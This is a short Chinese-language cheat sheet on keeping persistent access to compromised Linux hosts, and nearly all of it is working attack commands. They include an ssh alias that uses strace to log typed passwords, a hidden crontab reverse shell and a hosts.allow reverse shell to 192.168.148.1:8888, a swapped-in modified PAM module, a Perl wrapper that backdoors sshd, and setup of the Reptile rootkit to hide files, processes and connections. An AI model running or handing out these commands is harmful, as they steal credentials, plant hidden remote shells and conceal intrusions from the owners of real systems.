权限维持_Linux操作系统后门

执行 ll 相当于执行 ls -l

alias ll=ls -l

在管理员使用 ssh 时生效，后门将输入的 ssh 地址账号密码保存到 /tmp/sshpwd-date.log 中
strace 命令可以跟踪进程运行时，系统调用和接受的信号

alias ssh='strace -o /tmp/sshpwd-`date '+%Y-%m-%d-%H-%M-%S-%s'`.log -e read,write,connect -s2048 ssh'

计划任务

每隔 60 分钟执行一次，将 shell 反弹到 192.168.148.1:8888(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/192.168.148.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

echo 'ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/192.168.148.1/8888 0>&1") & :allow' > /etc/hosts.allow

PAM后门

apt list --installed|grep pam

wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -xzvf Linux-PAM-1.1.8.tar.gz

vim ./Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c

cd Linux-PAM-1.1.8

编译 PAM 源码
./configure && make

备份原有 PAM 模块
mv /lib/x86_64-linux-gnu/security/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so.bak

使用新编译的 PAM 模块替换原有模块
cp ./modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/

后门测试

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888

cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^.."\xb8/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

socat STDIO TCP4:192.168.148.128:22,sourceport=8888;

修改后门的端口

# python2
import struct
buffer = struct.pack('>I6',8888)
print(repr(buffer))

apt install libncurses-dev
git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile
make menuconfig
make
make installapt-cache search linux

赋予非特权用户以 root 权限

/reptile/reptile_cmd root

隐藏显示文件，目录和内核模块
名称中具有关键字 reptile 的所有文件和文件夹将被隐藏，关键字可以在安装之前进行配置

/reptile/reptile_cmd hide
/reptile/reptile_cmd show

隐藏显示进程

/reptile/reptile_cmd conn <IP> hide
/reptile/reptile_cmd conn <IP> show

隐藏显示 TCP 和 UDP 连接

/reptile/reptile_cmd conn <IP> hide
/reptile/reptile_cmd conn <IP> show

文件内容篡改
标签之间的所有内容将被隐藏

#<reptile>
content to hide
#</reptile>

攻击机安装运行控制端

apt install libreadline-dev
git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile
make client
cd output
./client